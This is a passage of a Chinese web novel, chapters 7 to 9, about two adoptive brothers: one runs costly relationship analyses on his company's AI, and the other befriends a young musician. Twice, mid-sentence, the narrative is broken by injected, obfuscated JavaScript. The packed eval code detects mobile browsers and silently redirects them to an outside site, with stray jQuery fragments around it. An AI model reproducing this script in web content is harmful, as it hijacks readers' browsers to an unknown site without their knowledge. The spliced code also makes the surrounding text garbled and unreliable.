至于其他地方……金煦往日倒是经常会出去赛车,有时候在家里也会和杜浔一起打游戏,身边好像也没有哪个人很特殊的样子。 他盯着金煦,后者却再次移开了视线。 他意识到何毓秀就是一个不可控的变量,他总是在他无法理解的情况下大发雷霆……他也拿捏不准何毓秀得到答案之后是不是会更加生气…… ”我现在多说一句,就是在给分析结果增加更多的不确定性。”金煦有理有据地道:“在结果出来之前,我要保证当前的关系不会发生变化。” 这是在担心自己会去找对方进而影响他们的关系?! 何毓秀一下子站了起来,金煦下意识仰起脸看他。 “如果爸问起,你自己跟他解释。” 7. 第 7 章 虽然这笔钱对于金家来说不算什么,但金煦的动机肯定是不可能说服金绍霖的。 他平时放任金煦搞技术,但不代表会任由对方如此败家—— 回到南堤一号,何毓秀直接上楼拧了一下金煦房间的门把手,倒是进去了,但是与卧室连通的书房门却锁得严严实实,里面的两台电脑终端究竟在运行什么,何毓秀也无法得见。 他回到了自己的房间,打开电脑上面的PPC程序,通过管理界面尝试远程连接金煦的管理权,直接遭到了拒绝。 他坐在电脑前拧着眉,开始敲击键盘,与PPC聊天:“JX账户在跑什么模型?” PPC很快回复:“全拟态人格分析,情感拟态链,心理模型分析,隐性决策路径追踪,潜意识语义偏移检测,反事实情感映射演算,以及亲密关系容差上限测试。” 每一个模块都在指向金煦非理智的事实。 何毓秀再次询问:“模型录入者是谁?” 或许是因为金煦那边没有授权,何毓秀这边又同样属于管理账号,PPC这次的思考经历了很久的时间,才弹出一个:“权限不足,无法查阅。” 何毓秀换了一种话术:“金煦一直匹配的对象出了什么差错?” 这相当于暗示ppc自己对金煦进行的一切运算都很清楚。 PPC果然有了回应:“目标对象当前行为模式已偏离与JX用户设定的稳定绑定路径,疑似建立了第三方亲密关系。” 何毓秀几乎秒懂:“金煦喜欢的人正在跟别人谈恋爱?” PPC:“可以这么说。” 何毓秀当然知道金煦离不开他自己一手创造出来的PPC,他也知道金煦经常在跟对方聊天,并且时不时就会更换页面布局,倒不是更换主题,只是经常会调整主程序架构,显然是为了用着更加趁手。 但他一直以为金煦是为了工作。 毕竟如今的PPC已经不再是他一个人的AI,而是真真正正嵌入了千万人的手机系统,具备了一定的商业规模。 可他无论如何都没有想到,金煦一直在用它测试劳什子的匹配度……他更不可能想到,对方今天还动用了这么多的成本去推演两个人的关系走向…… 他脑子被驴踢了吗?! 现在这种精神状态,跟那些降智短剧里面为爱痴狂不惜背离家族放弃亿万家财只为了和女主在一起的颠人霸总有什么区别?! 今天可以因为受了刺激而砸入千万成本只为了弄清楚一个人到底在想什么……后期就可能会为了得到对方而不计代价。 他好像忽然明白了楚千钧为什么会发出那样的警示,金煦往日有多人机,一旦陷入热恋就会有多不受控,所谓满足机制的落后而造成的积累性爆发,其实简单来说就是憋得很了…… 他重新跟PPC发出确认,后者回应道:“根据您的表述,我可以明确给出回答:是的。金煦如今的状态更像是一种感官延迟性激活,他平时没有反应,并不是真的无感,只是激素路径存在阻滞,导致生理反应显性落后。举例说明:您今天摸了他一下,他虽然没有及时拥抱您,但可能会记住你们之间的亲昵,如果您每天都摸他一下,到了临界点之后他便会不受控地给您一个更大的拥抱,持续时间与力度都会比远远超越平均水平。” 何毓秀忽然想到了自己:“那是不是表示,我这么多年对他的好他都会记得?” “当然。”PPC语气轻快:“您这么多年的付出他全部都看在眼里,等到他的HPG轴彻底融化之时,就是你们翻云覆雨浓情蜜意之日~” “……”何毓秀恨死了它这副牛头不对马嘴的样子:“脑子有病就去格式化!你每天运行那么多数据,是用来装死的吗?” “金煦前期喂你那么多我的行为记录,心里参数,你难道连我跟他是什么关系都判断不出来?要不要我给你刷100TB的民法典循环播放,让你好好学学什么叫伦理边界,什么叫□□禁止?或者你已经蠢到必须要我亲自把relation = ''brother’贴在你的主控芯片上?!” 平时被金煦激怒无法发泄,何毓秀在面对PPC的时候向来不留情面。 最烦这种半人不机的东西了。 对方很快道歉:“对不起,我明白了。是我推理错误,因为您提到了HPG轴,而该机制激活主要涉及、性成熟、性吸引、性冲动,亲密关系中生殖本能相关的情感和行为,从科学上来看,它并不直接支配‘亲情’或者其他社会性情感。” 虽然这智障偶尔抽风,但是理论方面还是比较严谨的。何毓秀冷静了一下,回复道:“也就是说,如果我和女主同时掉入河里,他会舍我而保女主?即便我从小就跟他睡在一个婴儿车?” “您推断的非常有道理。” “……”毁灭吧你。 何毓秀将手机丢在一旁,就着趴在床上的姿势将脸埋在床垫上,稍微降了降火。 他越发觉得自己要么是豪门狗血小说里面的倒霉助理,要么就是竹马虐恋里面的反派他哥……这一切都取决于女主到底是否喜欢金煦…… 手机传来叮的一声,何毓秀心痛了一阵,重新拿起手机,就看到了一碗撒着葱花的鸡蛋面。是陆然。 “吃完饭准备去直播间打工,哥要来看吗?” 还是新弟弟懂事,张嘴就会叫哥。 何毓秀回复:“我也要去吃晚饭。” “哥吃什么?” 何毓秀收拾好心情,从房间里走出来,回复道:“还不清楚,等我下到用餐区。” 以后对金煦还是公事公办比较好,新弟弟至少是个正常人!金煦这家伙只怕连催产素功能都没有。 陆然发了一个猫猫头的笑脸:“听说南堤一号超级大,哥走过去应该要很久吧?” “主楼这边还好,只有四层而已。”何毓秀随手回应:“下了电梯就能到用餐区。” 一个扭扭捏捏的小猫表情发了出来:“希望有一天可以去哥家里坐坐。” 凌川百分之十九十九的人都对南堤一号有向往,何毓秀并不觉得意外,“有机会的。” “我靠!”陆然刚放下手机,后方就忽然冒出了一个声音:“南堤一号?!你认识一号的主儿?陆然,什么情况啊?” 陆然急忙将手机屏幕按上,掩饰道:“你看错了吧。” “看错什么啊,你还要去人家家里坐坐呢,怎么认识的金家人?”喊话的舍友直接挤到了他的椅子上坐下,一把勾住了他的脖子,“也介绍我们认识认识啊!!” 学音乐的大多数是奔着出道去的,对阶级背景的嗅觉堪比猎犬,金家在凌川可是地地道道的老钱家族,一句话下去,不说人仰马翻,也至少能让半个文娱抖上三抖。一时之间,所有的舍友都像是打了鸡血似的探头看了过来。 “我暂时也没多熟……”陆然被勒得说不出话,用力把对方的手掰下来,喘了口气,道:“我正儿八经跟人家交朋友呢,你们几个别捣乱。” “陆然!哥们儿!你飞升了可千万要想着我们啊!!” 舍友们七嘴八舌地讨论了起来,“认识是哪个啊?科技王者金煦?还是形象工程总负责人何毓秀?” “不可能吧……这两尊大神怎么可能给我们遇到?” “是金家的帮佣吧。”激烈的讨论之中,一个突兀的声音忽然传了出来,是声乐系的邱子舟。陆然朝上方看去,后者却只是随意地靠在床头,脸都没露一下:“南堤一号有一个侧楼,专门给长工住的,不过这种身份通常没资格带朋友进去。” 其他室友略有收声,有人不知道出于什么心理,好奇道:“听上去你对那边很了解?” “我有个哥跟金煦比较熟。”邱子舟随口道:“之前跟着去过那边。” “没想到咱们宿舍藏了两个大神!!”有人惊喜道:“什么时候也介绍我们认识认识你哥呗?!能不能组团去南堤一号参观一下?” “想什么呢。”邱子舟始终没有露脸,语气带着笑:“人家自己住的地方,你当景区呢。” 陆然的手机弹出一条消息,是何毓秀的回复:“不能在家用餐了,得去医院陪我弟。” 顾不得邱子舟的事情,他急忙询问:“你弟怎么了?” 何毓秀这会儿已经带着饭盒坐上了车,打字道:“不小心摔伤了,要在医院观察一天,不是大事。” 想到PPC还在跑那个劳什子的全拟态人格分析,他就满肚子火,恨不得放他在医院自生自灭。 推门进病房的时候,金煦依旧靠在床头,手指在键盘上敲击,似乎在写代码。 一看到他就立刻露出了笑容:“何毓秀。” 他每次见到何毓秀的时候都会直呼他的全名,就像是某种机制下的自发反应。 如今只是多了一抹笑容。 显然他也知道自己这次犯了多大的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213089|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……一千多万啊,自己辞职的时候他可是连六位数的遣散费都没舍得提。 而在PPC的模型结束之前,每分钟都数以万计,何毓秀现在感觉自己每次呼吸都带着血沫子。 他没什么好脸色地走过去,金煦也稍稍收敛了笑容。 “晚上让郑叔回去休息,我守着你。” “你可以跟我睡。” “旁边有床。” 金煦很用力地看了一眼旁边的另外一张床。 这里虽然是单人病房,但是却放了两张床,显然是专门给家属陪床用的。 金煦开始吃饭,何毓秀则秀则靠在前方的小沙发上,塞着耳机进入了陆然发给他的直播间。 一进去就听到有人在弹琴,旁边还有一个连线的主播在跟大家聊天,声音挺好听,一见到何毓秀入场就会主动招呼,但明显不是陆然的声音。 主播时不时会跟陆然搭话,表示自己准备唱什么歌,陆然就立刻会调整曲调,时不时也会插两句嘴,但很明显只是助播,绝大部分的粉丝也都更倾向于给说话的人刷礼物。 何毓秀点开陆然的粉丝榜看了一眼,榜一的头像赫然是主讲主播的粉丝徽章,等级也远高于陆然这边的榜一,很明显打赏陆然只是顺带。 金煦一边吃饭,一边朝他看,PPC的分析模型还没出来,他尽量要避免多说多错。 饭还没吃完,手机上便弹出了一条账单支出,来自是副卡在XX平台的充值消费。 与此同时,直播间里闪出绚丽的特效,正在唱歌的主播语调蓦地一滑:“哎呦我去,谢谢豪门贵畜哥的大厦…… 谢谢跑车!谢谢瀑布!……陆陆,是给你的!快谢谢畜哥!” 弹幕里面也出现粉丝的惊讶:“刚加粉的新人?好大的手笔?” “对不起,真的是刷给我们陆陆的吗?畜哥没刷错吧?怎么一下子搞了这么多?” “我们陆陆终于要有属于自己的榜一了吗?!畜哥威武!” 琴声似乎停了一下,何毓秀听到了陆然犹豫的声音:“谢谢……畜哥,畜哥破费了。” 何毓秀在直播间里面发了一个笑脸,很快便收到了陆然微信的消息:“平台要抽成的,别刷了。” 他屈指将消息划上去,欣赏着直播间里面绚丽的特效,并且看到了主播的粉丝也在努力打赏,明显是不想让助播压过主播的风头。 主播的声音一直带着笑意,明显对于这种情况乐见其成,还在调侃:“看来畜哥就是冲着我们陆陆来的,平时应该没少刷到他的音乐视频吧?“ 还真不是。 不过有了他的提醒,何毓秀还是点进陆然的主页看了一眼,他的粉丝确实不少,但主要是因为他每周都会发布一个自制的手机铃声……何毓秀忍俊不禁,这确实是一个涨粉的好办法,可惜吸引的都是僵尸粉,难怪还要去宋即安那里打工。 所谓音乐也基本上只有一张卡通配图,没有任何剪辑技能,这倒是从侧面证明了他是一个脚踏实地的人,一心都在音乐上面。 何毓秀心中又满意了几分。 身边忽然投下阴影,他猛地从沙发上坐直,皱眉道:“干什么?” 金煦在他身边坐下来,白纱缠住了半个额头,却看不出什么虚弱的样子:“你有喜欢的主播了吗?” “还是之前那个朋友。”何毓秀道:“我去给他拉拉人气,怎么了?” “什么人气,需要花这么多钱。” 你这不是对金钱挺有概念的吗?何毓秀道:“也不过是PPC跑二十分钟的零花,你那边还有十几个小时没跑完呢吧?” “我是在优化模型。” 你还挺会找理由。何毓秀很清楚继续跟他争辩只会气死自己,他直接道:“既然能下床,自己去把碗洗了。” “你要看看我的伤口吗?” “……”他忽然欺近,何毓秀不得不将上半身往后撤,及时抬手按住他的肩膀:“行行行看到了,我是来照顾你的,我去洗,行了吧!” 手机从他身上滑落,金煦看了一眼,顺手摸走,嗯了一声。 看在他脑子坏掉的份上……不对,这厮的脑袋一直是坏掉的,看在他缝了针的份上,勉强再帮他一次好了。 就当是日行一善、照顾智障了。 何毓秀收拾好饭盒进入卫生间。 金煦则打开了他的微信,挨个点进去,找到了陆然的账号。 一键删除。 8. 第 8 章 水声哗哗,金煦跟着来到了卫生间,目光落在他被水浸润的有些净白莹润的手指上。 神色逐渐变得专注。 “监督我干活?” 何毓秀的声音传来,金煦微微回神,道:“你想什么时候结婚?” 这家伙连自己的事情都管不好呢,还操心他呢。何毓秀随口答:“看情况。” “我想明年春天结婚。” “知道了,PPC的档案里面都有记录了。” 何毓秀连挖苦他的心思都没有,反正他说结婚就肯定要结婚,根本不会在意有没有对象这件事……说起来,在金煦的逻辑里面,如果一个匹配对象出现失误,理应更换其他人才对吧? 干嘛非要执着一个正在跟别人谈恋爱的人…… 何毓秀没忍住:“你就非得喜欢一个不喜欢你的人吗?” “百分百的契合度可以确保我们的婚姻没有误差。” “……”又是对牛弹琴的一天。 他将洗好的饭盒放在一边,金煦顺手拿过了毛巾,在他伸手来接的时候,直接将手掌摊在他面前。 何毓秀不解地把手递过去。 金煦便垂眸帮他擦了起来,柔软的毛巾划过掌心,慢慢将指缝都擦得干干净净,擦完了,还捧到鼻尖嗅了一下:“香香的。” 何毓秀神色古怪。 他感觉金煦好像在讨好他,虽然行为相当弱智。 果然,他也知道自己这次运行PPC是一次很大的失误。 砸进去的成本是不可能收回来了,反正爸回来肯定会收拾他。何毓秀神色放缓,道:“去睡吧。” 金煦回到床上躺下,自己拉好被子,何毓秀则关掉了室内的其他灯源,只留了床头的一盏,在另一张床上躺下之后,就发现陆然的名字从聊天框消失了。 与此同时,金煦的声音从隔壁床上传来:“你开着灯我睡不着。” 何毓秀:“……” 二十九年,何毓秀早已修炼出一副铜皮铁骨,即便在这种情况下,也能忍住不发脾气了。 他翻了翻黑名单,果然在里面找到了陆然的名字,重新拉出来加上好友,后者很快同意,发来一句:“我正犹豫想问你为什么把我删了……” “手滑。”何毓秀简单给出应对方案。 他总不能说是因为自己弟弟觉得自己给他刷了太多的礼物十分浪费所以才把他删了吧。 这家伙总是这样,对成本问题十分敏感……之前何毓秀也知道他不许自己随便支配资产,否则不会这么多年了,还不允许他拥有独立账户。 金煦就是要看好金家的每一分财产,防止被自己这个养子抢走。 “何毓秀。”金煦再次发出声音:“我睡不着。” 何毓秀抬手关了床头灯。 陆然半晌没回复,一会儿才说:“你成了我的榜一,我想请你吃饭。” “不送礼物就不能请我吃饭了?” “不是。”陆然急忙回复:“……想请你吃饭,所以找个理由。” “何毓秀。”隔壁再次传来声音,何毓秀面对新弟弟的温和缓缓褪去,听到他在后面说:“关灯玩手机对眼睛不好,你已经近视六百度了。” 下一瞬,一个枕头猛地朝他丢了过来。 十分钟后,紧急赶过来的值夜医生帮他处理好了有些出血的伤口,道:“千万注意,不要再磕碰到,也不要沾水,现在天气热,伤口很容易发炎。” 何毓秀扶了一下眼镜。 站在一旁看着他平静的表情,一边觉得解气,一边又感觉自己确实过分了。 也不能怪他,谁让金煦突然从床上坐起来,他又不是冲着他脑袋砸的。 何毓秀谢过医生,顺便将人送出病房,回来的时候,金煦已经重新在床上躺好。 他看上去并没有生气的意思。 何毓秀怀疑他肯定又在评估自己的疯狂程度,说不准还要借助PPC的运算来推演两人未来兄弟阋墙的可能…… 他抿了抿嘴,躺下去也睡不着,与陆然互道了晚安之后,又转过来看向金煦。 两张床,隔着一米多的距离,金煦也在看他。 “……对不起。”何毓秀直截了当地道歉,带着些想要了断这件事情的果决:“刚才是我失态了。” “你最近总是失态。”他的语气像是在埋怨,何毓秀只能露出一抹笑容,背过身不想说话,但还是憋得慌,又转过来:“为什么删我朋友?” “让你花钱的男人都不是好东西。” ……果然还是因为钱。 何毓秀用力揪了一下枕头角,道:“那你这种让别人白干活一分钱都不给的人就是好东西了吗?!” 看不清他的表情,但明显能听出他语气中的惊愕:“你有很多钱,都放在了家族信托。” 又是这种说辞。 当年他刚进公司的时候,金煦说他的名字不用录入公司系统,因为他并不是金曜的员工,何毓秀信了,于是这么多年来,他在金曜都没名没分,看上去好像拥有了所有的执行权,却始终都是顶着金煦的名义。 外面的人说总裁的那个位置上坐了两个人,但内部的董事却只是把他当做金煦身边的一条走狗。 至于收入的事情,金煦也是以所有的分红奖金一起流入家族信托,交给金融专员做统一资产管理为由,至今没有给他发过一分钱。 如果换成是别人跟何毓秀这么说,即便当年他只有二十岁,何毓秀也一定会警惕起来……所有的分红全部流入信托?自己连一张属于自己的卡片都没有,这简直就是妥妥的诈骗啊! 但何毓秀当年刚刚和他一起从国外回来,正满心壮志想要报效父母。金煦的做法正中他的下怀,因为这就代表他与金家是真正的融为一体了。 可在职场经历过九年的打磨,在见证过身边各种大小财团不断传出财产纠纷的事情……何毓秀逐渐意识到,金煦也许一早就算计好了。 他这种人,对感情没谱,但提起数字来可是比谁都精明。 这也是为什么公司里面隐隐有传言说他是人形资产的原因。 谁家好人光让干活不给人发工资啊?! 但他身份敏感,这种话又不好多说……不然搞得好像他这个养子真的是狼子野心,在图谋亲生子的财产。 谈钱太伤感情……虽然他跟金煦本来就没什么感情。 何毓秀在昏暗中看着对面高糊的一坨,或许是因为看不到对方具体的表情,他忽然有了开口的勇气:“信托里面的资产真的有我那份吗?” 他的声音不大,有点希望对方听到,又畏惧被他听到一般。 金煦倒是耳朵很灵:“当然,金家的一切都是你的。” “……”但凡他说说具体的份额,何毓秀可能还就信了。一切都是他的?扯什么淡呢? 金煦也不用脑子想想,就算他同意,他未来的老婆能答应? 这个饼金煦敢画,他都不敢吃。 “睡了。” 都怪金煦,他又想到打工那些年受得窝囊气了。 跟老板要钱或许理所当然,可是跟金煦要钱……怎么想怎么奇怪。 他闭上眼睛,快睡着的时候,又听到金煦开口:“爸妈一直希望我们赶快结婚。” “……嗯。”爸妈确实希望他俩赶紧找对象,不能只立业不成家,否则也不会每年逼着金煦查一次基因报告了。 “我想明年春天结婚。” “知道了……”何毓秀听得耳朵都要起茧子了。结婚结婚,结呗,跟他有什么关系。 反正金煦这种人一向只需要计划,不需要感情。 希望他未来的老婆是一个通情达理的人……不然等他一结婚,自己在家里只怕更没什么立足之地了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213090|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ”何毓秀。”金煦再次开口:“你真的在跟那个人谈恋爱吗?” “……没有。”何毓秀没好气:“你管好自己的事情,我跟他哪跟哪还不知道呢。” 就知道金煦看不上陆然。 不过他能看上的人……估计也就只有PPC当前分析的那一个了。 值得安慰的是,他倒是没有像杜浔一样准备跟PPC结婚……毕竟杜浔喊AI老婆可能是开玩笑,但金煦如果对着PPC喊亲爱的,那铁定就是玩真的。 ……说起来,他跟PPC其实才是最般配的,还是别去祸害其他人了。 何毓秀这一夜睡的不是特别安稳,梦里先是看到PPC变成了吞金兽,不断吃他的钱,后来又看到金煦喜欢的那个人不太得父母的眼,于是金煦一怒之下直接跟爸妈断绝了关系,自愿放弃亿万家财…… 然后金家所有的钱都成了他的。 迷迷瞪瞪醒来的时候,便发现面前出现了一张放大的人脸,浅灰色的、犹如玻璃一般无机的眼睛正一眨不眨地观察着他—— 何毓秀一下子惊醒,用力将人推开:”干嘛离我那么近?!” “你在笑。” “……”何毓秀回忆了一下梦中的景象,强作镇定。心中却有些诡异,怎么可能呢?他发誓自己绝对没有觊觎金家财产的意思,难道自己潜意识里真的有什么狼子野心……何毓秀推开对方,快速走进卫生间。 就算离开金家,他也依旧可以靠双手养活自己,根本犯不着去跟金煦闹得鱼死网破。 梦终究只是梦罢了,现实里面他绝对不会做出那些事情。 连续给自己上了几道道德枷锁,何毓秀拿毛巾擦干净脸,神色镇定了许多。 目光与镜子里面的自己对视,同时也看到了后面的金煦。 金煦在看他,目光有种让人毛骨悚然的专注。 ……难道我还说梦话了? 金煦本来就够防着他的了,要真被他听到什么风声,铁定会率先出手…… 何毓秀心里七上八下,神色却依旧镇定:“看什么?” 两人通过镜子对视着,金煦忽然笑了一下,道:“感觉你有点奇怪。” 何毓秀心里一咯噔,转过去直视金煦,道:“哪里奇怪?” 镜像到底不够清晰,金煦看着将目光转向距离自己一尺外的何毓秀本人。他刚洗完脸,脸颊皮肤被水汽浸润的十分饱满,晶莹剔透。金煦眸光转动,下意识抬手……何毓秀一把将他拍掉。 他缩回手,又笑了下:“你是不是变好看了?” “……”他真的开始有审美了。 何毓秀皱了下眉,道:“我本来就好看。” 只是你以前有眼无珠……大清早的,不太适合人身攻击,何毓秀把后面的话咽了下去。 确定他没有意识到自己梦里篡夺家产的事情,何毓秀直接从他身边挤过去,道:“晚点楚千钧过来,你自己跟他沟通一下病情,没什么问题就让郑叔带你回家。” 金煦的目光追随着他的身影。 何毓秀熟练地收拾床铺,把一切都归纳的井井有条。阳光从窗外照进来,于某个瞬间在他身上勾勒出一层淡金色的边缘,光影交错之间,金煦显得有些晃神,像是这光里的人轻轻撞了一下。 门口传来动静,何毓秀走过去打开门,是郑叔来送早饭了。 “洗漱吃饭。”何毓秀对着卫生间喊了一声,又道:“我早饭另外有约,就不在这吃了,你跟金煦一起吧。” 后面一句明显是对着郑伯言说的,金煦继续按部就班地洗着脸,看上去并没有受到任何影响。 等到何毓秀关门的一瞬间,他才微不可查地停顿了一下。 像是有什么东西在从体内无声无息地涌出,没来得及传达出有效信息便忽然中断。只余一缕寥寥的躁动,让人困惑究竟发生了什么。 9. 第 9 章 一旦离开有金煦的地方,何毓秀感觉呼吸都顺畅了几分。 早餐是跟陆然一起吃的,在一家私房菜小厨房,何毓秀到的时候,桌子上已经摆上了一些精致的面点,还有糯米烧麦和粥食,满满当当一桌子,跟自助餐似的。 “你平时早餐都来这儿吃?”何毓秀坐在他拉开的凳子上,眸中带笑。 “怎么可能。”陆然在一旁坐下,道:“主要也不知道你喜欢吃什么,路边的早餐店都一个样……这是我一个表姐开的,我就让她随便准备了点,你看看有没有合口味的。” 倒的确是对待榜一大哥的诚意。 何毓秀很满意,目光落在造型可爱的面点上,伸手取了一个绿色的小青蛙,轻轻闻了一下,道:“这是什么食材?” “应该是蔬菜面吧。”陆然猜测,他显然对厨艺也并不精通,何毓秀将青蛙放在掌心,左右欣赏了一番,小蛙的眼睛是橘黄色的,触感软弹,热腾腾的还冒着些许香甜的气味,对待这种艺术品,何毓秀实在下不去口,重新放在一旁,道:“你表姐倒是心灵手巧。” “我以为你会喜欢小黄鸭。” “我喜欢小金蟾。”何毓秀神神秘秘地透露了一句,顺手拿起筷子,端过了一碗鸡蛋汤,道:“以后不要准备这么多了,吃不完容易浪费。” “是因为它招财吗?”陆然跟着拿起筷子,神色有些好奇。 “广义里面的金蟾都是财富的象征,但如果它做出这种姿势呢。”何毓秀双手合什,闭上眼睛,做了个悟道的姿势。 耳边没有回应,何毓秀睁开一只眼睛,目露困惑。 陆然回神,道:“是有点可爱。” 他移开视线,将一碗泡菜端了过来,道:“这是店里特制的酸辣白菜,你尝尝看。” 饭是他请的,他倒是有些慌慌张张。 何毓秀虽有莫名,但也客随主便。白菜被腌制的十分入味,酸酸辣辣还有一些回甘,口感清清脆脆的,相当爽口,当即眼睛一亮:“能装点回去吗?” 何若仪也喜欢吃泡菜,家里每年都做,她还爱把甜萝卜当零嘴吃,这东西她肯定喜欢。 陆然一口答应,“晚点我让表姐拿几个罐头。” 吃饭途中,何毓秀注意到小店后方的窗户后面时不时晃过人影,像是在借着随意走动的动作一直窥探这边。 但一直十分克制,并没有真的出面打扰。 何毓秀垂眸,态度随意,心中却有些了然。 一直到吃完饭准备离开的时候,陆然的表姐才终于露面,笑着道:“天气热,我煮了些绿豆水,专门冰了的,你们带着喝。” 递来了一个无敌大的杯子,陆然脸色微变,忙推回去:“ 现在什么水买不到啊,你别忙活了。” “外面都是有添加剂的,你们年轻人要少喝!” 何毓秀猜测自己跟他表姐应该差不多岁数,不过她看上去已经结婚,又日夜不停地经营着小饭馆,想必也是被社会打磨过的,说话间透出一股长辈的味道。 “拿着吧。”何毓秀提醒:“你不是要去钓鱼吗?刚好可以用到。“ 何毓秀自己是很少喝外面的饮料的,顶多就是咖啡,加奶或不加奶的区别。他跟何若仪口味相近,都喜欢吃一些乱七八糟的东西,金绍霖为了让他们吃的健康,家里的厨房还专门去学了怎么制作卤味,给他们当零嘴解馋。 ”平时我爸出去钓鱼也爱喝绿豆水。”何毓秀道:“厨房到了夏天会经常煮,防止中暑。” 陆然有点不好意思:“就是这个杯子……” 确实有点大了。 估摸有个三升还多。 “你们这不是两个人吗?”表姐道:“万一不够喝怎么办?” 说话的间隙,她不断地拿余光来看何毓秀,眼底带着几分探索和惊奇, 陆然最终还是将大杯子拿到了车上,何毓秀含笑跟她告别,对方连连表示:“以后有时间经常过来,今天的早饭可没发挥出我十分之一的功力,我炒菜可好吃了,就是陆然说早饭一定要清淡为主……” “行了,我们走了。”陆然打断了她的絮叨。 车子离开,店里又走出来一个男人:“你表弟这朋友可以啊……你看到他手上那表了没?够开你十个店了。” “我不懂表,但我看见他那车了……”表姐语气唏嘘:“而且人家往那一坐,明显就不是普通人能随便搭话的身份……” 这也是为什么他们没敢贸然上前的原因,陆然开始就跟他们提过,要带一个重要的朋友过来吃饭,本来他们还想着能有多重要,见了人才知道什么叫仙凡有别。 明明看上去温温柔柔和蔼可亲的样子,偶尔甚至还能跟你开个玩笑,亲切的像个邻家哥哥,可就是莫名让人不敢上前。倒不是因为他表现的有多虚伪,但恰恰就是因为那股沉静之下从容不迫的真诚,反而更能让人感受到与他搭话的门槛,不自觉地收起所有的冒失与轻佻。 “也不知道陆然哪里认识的这样的人。” 郊外水库风景如画。何毓秀戴了个草帽,顺手将鱼钩抛了出去,道:“这么热的天,真不懂来钓鱼的人都是怎么想的。” “其实我之前也不明白。”或许是因为水库宽敞,陆然的声音也开朗许多,道:“但后来自己一个人来了几次,就体会到乐趣了。” 他留意到何毓秀时不时就想收一下杆,与往日与人相处之时判若两人,下意识制止:“你别老动,鱼都跑了。” 何毓秀老实了下来,坐了一阵,又有点后悔过来:“真无聊。” 陆然与他离了三米多的距离,听到他这样说,稍微有些诧异,道:“你弟说你在游乐场里会不自在,我以为你更喜欢这种活动。” “……”难怪他突然提出要钓鱼。何毓秀想到金煦就有点窝火:“他说什么你就信什么,你看我像是那么有耐心的人吗?” 陆然犹豫:“你不像吗?” 何毓秀将草帽太高,露出热的有些泛红的脸,道:“我像吗?!” ……这样看确实不太像。 但何毓秀平时说话做事都稳稳当当的,一副干什么都心里有数的样子,他还以为对方会很享受这种需要耐心的休闲活动。 “是不是太热了?”陆然道:“不然我们换个地方?” “你挑得这个位置已经很不错,今天刮东南风,这边有树,侧面山包刚好到这儿断了,形成一个天然的小夹角,只要刮风肯定会从这儿过。” 陆然:“……但是?” “但是这会儿没风!” 陆然一下子笑出声,道:“明白了明白了,我车上其实有一个小风扇,还有户外供电箱,我拿下来给你扇。” 他放下鱼竿去忙忙碌碌,何毓秀的脸色稍微缓和,道:“你倒是挺会享受。” “不是会享受,是考虑到可能会有断风的时候,担心你受不住,但我没想到你这么快就开始抱怨……” 他一开始甚至觉得何毓秀肯定是一个心静自然凉的人,可在树下刚坐一会儿,他看上去就像个躁动的小孩。 何毓秀确实一到野外就坐不住。 小时候金绍霖也爱带他出来钓鱼,何毓秀对钓鱼没兴趣,却更独爱水库旁边自然生长的花花草草,可惜金绍霖每次带他来的时候都会在他身上拴一个绳。 因为金煦总会在水库边耳提面命:“如果何毓秀掉到了河里,妈肯定会跟你离婚。” 小何毓秀立刻表示自己不会掉到河里,但金煦却很固执:“一旦脱离大人的看管,你有百分之八十的可能会掉进河里。” 金绍霖倒是很喜欢他一本正经的分析,甚至还会辅助发散:“那你呢?” “与他相比,我的可能是百分之二十,其中百分之十八的可能是为了拉住何毓秀,余下百分之二来自于自然风害、地壳动荡、或者我个人突发癫痫,意外滚入等低概率事件。” 小何毓秀觉得他是在骂自己笨,心里很不服气:“你凭什么这么说。” “因为你一看到植物就走不动路,而且你总是对什么都好奇,这些东西都会降低你对危险的警惕……看,那里有个紫色的蝴蝶。” 何毓秀马上忘记跟他吵架,转头去看,却只是一个白色的普通蝴蝶。 金煦示意金绍霖:“你看到了,他很容易受骗。” 金绍霖就会把何毓秀抱过来,仔仔细细在他身上系上绑带:“你弟弟分析的有道理,你乖一点,待会儿我钓完鱼咱们去离水远的地方玩。” ……总之,因为金煦的存在,何毓秀的童年只有噩梦。 就像《死神来了》里面那些兢兢业业的角色们一样,金煦的耳提面命,让他感觉自己每时每刻都在执行高危任务。 蝴蝶是诱饵,风也是变量,而他本人,就是必须要被死死捆住的最不稳定因素。 尤其是,爸妈总是会在他的危言耸听下深以为然。 明明在家里的时候,照顾金煦的是自己,表现的更加成熟体贴的也总是自己,可每次出门的时候,却总是金煦获得更多的自由权,自己就像手把件一样被父母牢牢握住,任何需要单独行动的小事情,他们也更加放心让金煦去。 在爸妈眼中,何毓秀就像个毫无危机意识的小笨蛋,一旦独自出门,就可能会被坏人拐走,被拿糖骗走,甚至可能会因为平地摔而挂掉。 最可恨的是,何毓秀小时候是真的遭遇过绑架。 一阵凉风从侧方吹来,何毓秀眯了一下眼睛,便看到了正在转动的小风扇,陆然一边调整角度,一边问他:“这样行吗?” “往那边放一点,两个人都能吹到。” “我不热。” “我担心你中暑。” “……”陆然低头把风扇挪到了他说的位置,重新回到自己的鱼竿上面坐好,握着杆子用余光朝他看。 何毓秀舒舒服服地靠在户外椅上,草帽挡住了半张脸,只能看到过于挺翘的鼻尖。 